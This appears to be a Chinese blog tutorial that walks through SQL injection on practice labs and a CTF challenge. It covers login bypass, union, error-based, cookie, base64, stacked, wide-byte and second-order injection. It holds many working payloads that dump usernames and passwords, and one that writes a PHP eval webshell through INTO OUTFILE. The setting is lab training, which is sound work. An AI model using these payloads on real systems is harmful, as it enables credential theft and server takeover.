赞
踩
目录
点击目录标题经常跳转不到相应的内容,需要手动浏览。抱歉。
万能密码并不是真正的万能密码,而是指在相应的sql注入漏洞的地方(一般在账号登录处)构造sql注入语句,即使未拥有正确的账号密码也可以登录成功。
原理即 (错误的账号)FALSE AND (错误的密码)FALSE OR (构造的语句)TRUE 恒为真,从而绕过后端验证,成功登录。链接
使用靶场第十关来简单学习一下万能密码绕过。
输入账号为1密码为1提交,没有任何回显。
在账号处输入 1' or 1=1 密码处输入1 提交后有回显且是错误信息,很明显是密码验证处错误
1' or 1=1#
直接在刚才的语句后加#注释掉密码验证代码,成功登录
1' union select 1,database()#
这里同样可以使用联合注入来获取当前数据库名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
获取表名
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#
获取字段名
1' union select 1,(select group_concat(username,0x2b,password)from users)#
获取users字段中的数据,这里使用+(十六进制)的将账号密码隔开了
当我们输入正确的账号密码后回显User-Agent内容,从这可以判断存在UA注入
尝试一下在最后加上基于报错的sql注入语句,但是报错了--在双引号的附近出现了语法错误
尝试一下使用双引号闭合语句而不是注释掉后面的代码
又报错了,这次是在127.0.0.1 和 admin 附近出现了语法错误(还是不太懂)
不过我们看到报错信息的最后面有一个 )' 所以我们尝试用 '( 来闭合,又报错了
'('UA','IP','用户名')'
此时通过两次报错信息我们可以大胆的假设一下后端代码中使用如上结构读入数据
'('UA' and 注入语句 '(','IP','用户名')'
而我们刚刚构造的语句在后端中是这样的结构(上),围绕着假设的结构就能明确的尝试构造闭合
'('UA' and 注入语句 ,'','IP','用户名')'
比如这样(上),那么我们在注入语句末尾应该加的是 ,' 即
' and extractvalue(1,concat(1,database(),1)),'
成功了,这证明我们的假设是成立的(当然不是万分确定,但至少我们得到了一种正确的闭合方法)
' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)),'
获取表名
' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='users'),1)),'
获取字段名
' and extractvalue(1,concat(1,(select group_concat(username,0x2b,password) from users),1)),'
获取users字段中的username和password数据
这里需要注意的是报错结果只显示了一部分数据,如果想要获取所有账号密码可以这样构造语句
' and extractvalue(1,concat(1,(select concat(username,0x2b,password) from users limit 2,1),1)),'
即将group_concat()函数换成concat()函数,再添加 limit 0,1 改变0为你想要获得的第几对数据即可
Less-19中输入正确的账号密码后输出了Referer信息,毫无疑问这里存在Referer注入
发现页面报错信息一样,果断尝试使用在UA注入时的语句
OK啊,虽然说接下来流程和UA注入时一样,不过就当巩固一下知识点,再走一遍流程
获取表名
获取字段名
依次获取users字段中的username和password数据
' and extractvalue(1,concat(1,(select concat(username,0x2b,password)from users limit 1,1),1)),'
Less-20输入正确的账号密码提交后页面如上,显然与cookie有关
提交数据时抓到的包是看不到cookie的
将代理关掉,在HTTP history中看到请求包中具有cookie信息即可发送到repeater修改cookie进行注入
由于是GET方式提交参数,所以此处使用--+或者#注释均可
POST方式则不能使用--+作为注释符
使用order by x 判断一下列数(字段数),很明显只有3个
使用联合查询判断一下注入点,你看得出来这里为什么没有成功吗
让我们提交的uname值不存在即可,这里使用了1,注入点居然有三个
懂我意思吗,直接在这三个地方构造语句,分别获取表名,字段名,及字段内的数据
欣赏这壮观的一幕
1' union select (select group_concat(username,0x2b,password)from users),(select group_concat(table_name)from information_schema.tables where table_schema='security'),(select group_concat(column_name)from information_schema.columns where table_name='users')--+
当然这只是本节实验中一个尝试,实战情况下是不可能的,因为我们一开始什么都不知道,只能一步一步的来
本节练习使用墨者学院在线靶场的X-Forwarded-For注入漏洞实战,链接
背景介绍:
某业务系统,安全工程师"墨者"进行授权黑盒测试,系统的业主单位也没有给账号密码,怎么测?
环境启动后只有一个后台管理登录页面,其他的啥也没有,随便输入点东西抓包看一下 包里面也没有XFF头,放过去看一下HTTP history
提交后全是乱码的弹窗,不过值得注意的是弹窗上显示了ip地址
HTTP history里面也没有,啥也不说了,直接伪造一个
将XFF的值设置为127.0.0.1,可以看到返回的数据包中也变成了127.0.0.1
构造一下基于报错的sql注入语句放在XFF中,报错了,感觉报错信息和UA注入时有点像
1' and extractvalue(1,concat(1,database(),1)),'
果断换成 ,' 试一波 成功了,当前数据库名是webcalendar (1是占位的) 那接下来就简单了
1' and extractvalue(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='webcalendar'),1)),'
获取表名 两个表分别是logins和user
1' and extractvalue(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_name='user'),1)),'
获取user表中的字段名,得到三个字段,id,username,password
1' and extractvalue(1,concat(1,(select group_concat(username,0x2b,password)from user),1)),'
获取username和password中的数据,得到一个账号admin,密码17121237
大家像我这样构造语句看结果时记得别算最后那个1哦,不然就使用 ' ' 替掉最后面那个1注入
将账号和密码输入后拿到了key
流程和在sqli-labs靶场没多少差别,另外此关还可以使用工具sqlmap进行爆破,这里附上链接
同cookie注入时的步骤一样,输入正确的账号密码提交后在HTTP history中找到请求包中有cookie字样的包发送到repeater进行修改
Less-20和Less-21不同的地方是将cookie的值进行了base64加密,实际上注入语句是完全一致的
随便找一个支持在线base64加密的网站
就决定是它了 www.jsons.cn/base64
输入构造的语句后直接进行base64加密即可
报错了,很明显闭合符号不对,看报错信息感觉可能是 ') 试一下
没有猜错
判断注入点
MScgKSB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDMj
获取表名
MScgKSB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2VycycpLDMj
获取字段名
MScgKSB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDJiLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwzIw==
获取username和password中的数据
大家不要觉得base64注入只在cookie中哦,base64注入严格意义上讲能存在其他很多地方,比如URL上。在我们的学习中有一个能力,叫做举一反三。
;
隔开,在第二条语句中构造要执行攻击的语句。mysqli_multi_query()
和 mysql_multi_query
()这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。堆叠注入和联合注入的区别:
区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。
这里附上一个详细介绍堆叠注入的链接
堆叠注入具有很大的局限性,并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制。另外有时候攻击者无法修改数据或者调用一些程序也可能是权限不足。
接下来 使用攻防世界一个web题supersqli来练习一下堆叠注入。
题目取自于2019年强网杯全国网络安全挑战赛,开启场景
进入场景,只有一个输入框,并且里面有一个默认的数字1
那我们只输入一个1试试,有回显
输入 1' 之后报错了,猜测存在sql注入,单引号闭合,并且是字符型注入(怎么区分sql注入类型是字符型还是数值型)
输入 1'--+ 之后继续报错,但错误信息不完全一样
将 --+ 替换为 # 后输入回显和只输入数字1是一样的,证明#可以注释掉后面的语句
尝试使用万能密码注入,结果返回了三个有效的值以及对应的字符串
使用order by x 来判断字段数量
当输入为 order by 3 时报错了,只有两个字段
常规流程,使用联合查询判断一下注入点,返回一个过滤集,那就不能使用这些了
使用堆叠注入试一试,使用show datdabases;查询所有的数据库名,成功了,可以看到除了MySQL数据库自带的四个数据库外还有两个数据库,supersqli和ctftraining
0';use ctftraining;show tables; //试到这里发现最后不加#注释也可以
先分别看一下两个数据库中有哪些表。数据库ctftraining里面有三个表FLAG_TABLE,news,users
0';use supersqli;show tables;
数据库supersqli中有两个表1919810931114514和words
最后直接show tables看一下当前数据库的所有表名,很明显当前数据库就是supersqli
- 0';desc 1919810931114514;
- 0';show columns from 1919810931114514;
- 0';show create table 1919810931114514;
接下来就考验我们的sql功底,使用如上语句查看表1919810931114514中的数据,啥也没有
0';show columns from `1919810931114514`; //注意是反引号
最后坚持一下,成功了,看到flag了,大概率就在flag这个列里面了。好好想一想怎么获取flag,肯定是有办法的,不过本人没有想到,我的选择是看看另外那个words表,会不会有什么发现
里面有两个列,分别是id和data,id的值为整数,data的值为字符串
将以上两张表结合起来,可以猜测我们输入数字时大概率是从这两个列中查询数据
那么我们可以大致确定的是,使用 1' or 1=1# 可以查询到words表中的详细数据
那么接下来就有一个思路,把表1919810931114514改成words,列名flag改成id或者data就好了
RENAME TABLE 旧表名 TO 新表名; //修改表名
构造语句思路如下
- 0';
- RENAME TABLE words TO w; //将表名words改成w
- RENAME `1919810931114514` TO words; //将表名1919810931114514 改成words
- alter table words change flag id varchar(100); //将列名flag改成id
- 0';rename table words to w;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
- //记得连起来输入(如上),不然会报错找不到表supersqli.words
OK,顺利拿到flag (假如你一直报错找不到supersqli.words就把场景删了,直接输如上语句)
暂时不讲原理,咱们一边做实验一边了解原理。
实验过程:
如上,单引号的意义在于和接收的数据前的单引号形成闭合,从而连接并一起执行后面的or+1=1部分。
这里使用的函数是 addslashes() :在某些字符前加上了反斜线,这些字符是单引号'
、双引号"
、反斜线\
与 NULL
。单引号的转义如下:
' --> \'
也就是说,常规sql注入输入中的单引号在编码后为%27,经过函数转义后为\',编码也就是%5C%27。
而在sql语句中,反斜杠\是转义字符,会将带有特殊意义的字符转义为没有特殊意义的字符。也就是说,使用addslashes()函数后,我们输入的正常单引号都会失去作用。
所以这种情况下,我们首先思考的是能不能把前面的%5C也就是反斜杠\给除去。
或者说,利用什么字符的编码能够结合%5C成为新的字符,这个时候宽字节的概念也就出现了,宽字节就是大小为两个字节或以上的字符。同理,窄字节是大小为一个字节的字符。在数据库使用GBK编码时,我们可以在单引号前面使用%df,%df和转义后的%5c结合为%df%5c,在GBK编码中没有对应,所以被当成无效字符,从而另类的除去了反斜杠\。当然,你可能会问数据库不使用GBK编码又要怎么样呢?这个你放心,利用宽字符进行sql注入的条件就是数据库必须得使用GBK编码,它不使用GBK编码就不能够利用宽字符注入成功。如下:
1%df' --> 1%df%5c%27 --> 1%27 --> 1'
接下来构造注入语句尝试注入:
1%df' or 1=1--+
单引号成功闭合了,后续就是常规的sql注入步骤了。
1%df'order by 2--+ #利用order by确定表中的列数
1%df'union select 1,2--+ #使用联合查询查看回显位
1%df'union select 1,database()--+ #查询数据库
1%df' union select 1,table_name from information_schema.tables where table_schema='pikachu'--+ #查询表名
查询失败了,显然是因为语句中使用了单引号,而单引号被转义了,所以查询失败了。你可能会问,不能像前面一样使用%df吗?答案是不能,比如 'pikachu' 这个部分,第一个单引号可以通过%df来构成,但是第二个单引号使用了%df虽然也会构成单引号,但是数据库名就不是单纯的pikachu,数据库同样无法执行,所以我们得使用嵌套查询。
一个查询语句(select-from-where)或者查询语句块可以嵌套在另外一个查询块的where子句中,称为嵌套查询。其中外层查询也称为父查询,主查询。内层查询也称子查询,从查询。
嵌套查询的工作方式
先处理内查询,由内向外处理,外层查询利用内层查询的结果嵌套查询不仅仅可以用于父查询select语句使用。还可以用于insert、update、delete语句或其他子查询中。
好,接下来我们尝试构造嵌套查询。如下:
1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
查询到五个表,分别是httpinfo,member,message,users,xssblind。按照经验,我们对表users构造嵌套查询字段。(当然你也可以从httpinfo这个表开始)
- 1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))--+
查询到四个字段,分别是id,username,password,level
继续构造语句查询username和password字段。
1%df' union select 1,(select group_concat(username,0x2a,password) from users)--+
成功查询到用户名和密码,虽然密码是MD5的形式。拿去MD5解密就好了。如下:
SQL注入读写文件条件
Mysql中使用 SELECT ... INTO OUTFILE 语句导出数据
SELECT * FROM 数据表或数据库 INTO OUTFILE '指定文件路径';
语句相关属性
LOAD DATA INFILE是SELECT ... INTO OUTFILE的逆操作,SELECT句法。为了将一个数据库的数据写入一个文件,使用SELECT ... INTO OUTFILE,为了将文件读回数据库,使用LOAD DATA INFILE。
SELECT...INTO OUTFILE 'file_name'形式的SELECT可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。
输出不能是一个已存在的文件。防止文件数据被篡改。
在UNIX中,该文件被创建后是可读的,权限由MySQL服务器所拥有。这意味着,所以你可以读取该文件,但无法将其删除。
- secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
-
- secure_file_priv 为 /目录 时,表示限制mysqld只能在指定目录中执行导入导出,其他目录不能执行。
-
- secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
实验过程
构造语句爆出web路径。
union select 1,1 into outfile "不存在的文件路径"
在这里使用Pikachu漏洞练习平台练习。
如上,已知web绝对路径:
D:\phpstudy\phpstudy_pro\WWW\p\vul\sqli\sqli_str.php
构造读取语句:
1' union select load_file('D:/phpstudy/WWW/p/vul/sqli/sqli_str.php'),2--+
相关文件对比:
构造写入语句:
union select 1,"一句话木马" into outfile "不存在的文件路径"
回显即MySQL服务器运行时带有secure-file-priv选项,所以它不能执行此语句,猜测可能是权限不足。
在mysql控制台查看secure_file_priv这个配置项。
show global variables like '%secure%';
当前的secure_file_priv的值为NULL,即不允许导入导出数据。
在相关文件中添加如下语句即可即可:
secure_file_priv=
重启mysql服务后查看相关配置:
继续写入:
1' union select "<?php @eval($_POST['shell'])?>",1 into outfile "D:/phpstudy/phpstudy_pro/WWW/p/vul/sqli/1.php"--+
到该路径下查看发现已经创建成功
文件内容如下
利用蚁剑测试连接,连接成功
相关的利用sql注入写入webshell的操作还有比如phpadmin早期版本中利用Mysql日志文件写入webshell,当然这也是相对较初级的操作,附上链接。(主要介绍的是红日靶场,但是也写到了相关操作,作者正是在下)
https://mp.weixin.qq.com/s?__biz=Mzg4Nzg2MDA0MA==&mid=2247484090&idx=1&sn=3adfe98155ccead9b361d7e30f6e666d&chksm=cf82bc9df8f5358b9ec0d7f937506ca7b0117b93524da126577c9a4743f277691330d5aed381&scene=178&cur_album_id=2593881450895310848#rd
sqli-labs靶场第24关存在二次注入的操作可行性,我们先了解一下理论。随后会讲到原理。
第24关的页面如下,要求输入用户名和密码登录,并且还有忘记密码,注册功能。
修改密码功能页面需要登录才能访问,目前只能看到注册功能页面如下:
随意注册用户名user密码password后登录,进入密码修改功能页面如下:
由于这是需要登录之后才能使用的功能,不妨想象一下密码修改功能的逻辑:
update users set password='新密码' where username='用户名' and password='旧密码';
回想SQL注入的惯性思维,我们可能会想到在用户名处注入SQL语句,与前面的单引号闭合,并且利用#或者--+让后面校对旧密码的语句失效。从而达到如下效果:
update users set password='新密码' where username='用户名';
这样做有什么好处呢,显然,此时我们只需要知道用户名就可以修改其密码,从而直接实现任意已知用户名的身份登录。
实验过程
假设我们此时获知了管理员的用户名admin,想要利用二次注入来修改其密码实现管理员身份的登录。首先,我们在注册功能处直接将用户名作为注入语句:
如上图,单引号与前面的单引号闭合,#注释了后面校对旧密码的部分。
使用该用户名与密码登录。在修改密码功能处, 旧密码不再校对,所以输入任意字符即可。新密码则是类似注册时候输入的密码,随后使用这个密码登录即可。如下:
update users set password='新密码' where username='用户名' #and password='旧密码';
修改密码成功,使用修改后的密码登录admin即可。
因此,个人总结二次注入原理如下:
二次注入可以理解为,第一次注入的语句是能够变更查询规则或者改变数据库数据的恶意SQL语句,恶意SQL语句插入或拼接在执行语句中或之后改变了原有数据或规则。第二次注入的语句则是利用现有规则或数据的恶意SQL语句。实现与第一次注入的SQL语句配合并展开攻击。
也就是说第一次注入是铺垫,而第二次注入才是危害相对较大或者取得实质性进展的行为。
以上我们也可以看得出来,二次注入的条件就是 1.能够插入恶意数据 2.能够利用恶意数据
https://blog.csdn.net/zlloveyouforever/article/details/124526121?spm=1001.2014.3001.5502
作者是在下,简单介绍了sleep(),if(),benchmark()三个函数在sqli-labs靶场中基于时间的注入。
https://blog.csdn.net/zlloveyouforever/article/details/124504943?spm=1001.2014.3001.5502
作者也是在下,简单介绍了在sqli-labs靶场中基于布尔的注入。
https://blog.csdn.net/zlloveyouforever/article/details/124510299?spm=1001.2014.3001.5502
作者还是在下,简单介绍了利用updatexml(),extractvalue(),floor(),exp(),geometrycollection(),geometrycollection()六个函数在sqli-labs靶场中基于报错的注入。
https://blog.csdn.net/zlloveyouforever/article/details/123448312?spm=1001.2014.3001.5502
作者依旧是在下,很久之前写的文章,相对来讲阅读量比较高,是关于sqli-labs第一关的一些简单问题的解答,表述稍显幼稚,希望能够帮助到入门的伙伴。
相信各位也发现了,点击目录有些标题跳转不到相应的内容,在下也深受其扰,在这里跟各位说一声抱歉。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。